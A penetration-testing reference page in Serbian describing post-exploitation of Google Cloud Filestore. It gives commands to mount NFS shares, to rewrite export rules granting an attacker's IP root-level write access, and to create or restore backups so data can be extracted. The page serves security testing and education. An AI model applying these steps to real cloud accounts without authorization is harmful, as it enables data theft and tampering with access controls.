# GCP - Filestore Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Filestore

Za više informacija o Filestore-u pogledajte:

{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}

### Mount Filestore

Deljena datotečna sistema **može sadržati osetljive informacije** zanimljive iz perspektive napadača. Sa pristupom Filestore-u moguće je **montirati ga**:
```bash
sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
Da biste pronašli IP adresu filestore instance, proverite sekciju o enumeraciji na stranici:

{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}

### Uklonite Ograničenja i dobijte dodatne dozvole

Ako napadač nije na IP adresi sa pristupom deljenju, ali imate dovoljno dozvola da ga izmenite, moguće je ukloniti ograničenja ili pristup. Takođe je moguće dodeliti više privilegija svojoj IP adresi kako biste imali administratorski pristup deljenju:
```bash
gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}
```
### Restore a backup

Ako postoji backup, moguće je **vratiti ga** u postojećem ili u novom instance tako da njegova **informacija postane dostupna:**
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it
```
### Napravite rezervnu kopiju i vratite je

Ako **nemate pristup deljenju i ne želite da ga izmenite**, moguće je **napraviti rezervnu kopiju** i **vratiti** je kao što je prethodno pomenuto:
```bash
# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
```
{{#include ../../../banners/hacktricks-training.md}}
